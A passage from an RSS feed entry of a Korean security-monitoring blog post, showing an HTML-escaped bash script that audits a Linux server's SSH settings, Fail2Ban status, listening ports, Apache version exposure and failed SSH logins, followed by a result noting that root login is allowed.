허용됨&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-q&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;PasswordAuthentication no&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/etc/ssh/sshd_config&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;키 인증만 허용&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;warn&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;비밀번호 인증 허용됨&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;systemctl&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;is-active&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;--quiet&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;fail2ban&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Fail2Ban 실행 중&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;warn&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Fail2Ban 미실행&quot;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# 네트워크 점검&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;--- 네트워크 ---&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;OPEN_PORTS&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-tlnp&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;LISTEN&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;wc&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-l&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;열린 포트 수: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$OPEN_PORTS&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-tlnp&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;LISTEN&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;tee&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$REPORT&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# 웹 서버 점검&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;systemctl&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;is-active&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;--quiet&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;apache2&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;2&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;then&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;--- Apache 보안 ---&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-sI&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;http://localhost&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Server:&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-q&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Apache$&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;버전 숨김&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;warn&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;버전 노출됨&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;fi&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# 최근 침입 시도&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;--- 침입 시도 ---&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;FAIL&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-c&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Failed&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/var/log/auth.log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;2&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;SSH 실패: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$FAIL&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; 건&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;[ &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$FAIL&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;-gt&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; ] &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;warn&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;SSH 공격 의심!&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;정상 범위&quot;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;=== 점검 완료: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$REPORT&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; ===&quot;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;✔️&amp;nbsp; &amp;nbsp;[실행 결과]&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- root 로그인이 허용되는 것을 알 수 있어 취약하다고 판단&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1259&quot; data-origin-height=&quot;681&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B3cI5/dJMcabLwzh3/9I7o3s0YwXYJBAfPx5Rm7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B3cI5/dJMcabLwzh3/9I7o3s0YwXYJBAfPx5Rm7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B3cI5/dJMcabLwzh3/9I7o3s0YwXYJBAfPx5Rm7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB3cI5%2FdJMcabLwzh3%2F9I7o3s0YwXYJBAfPx5Rm7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1259&quot; height=&quot;681&quot; data-origin-width=&quot;1259&quot; data-origin-height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;✔️&amp;nbsp; &amp;nbsp;[보완]&lt;/h4&gt;</description>
      <category>보안 관제</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/29</guid>
      <comments>https://yeonni821.tistory.com/29#entry29comment</comments>
      <pubDate>Tue, 23 Jun 2026 09:47:34 +0900</pubDate>
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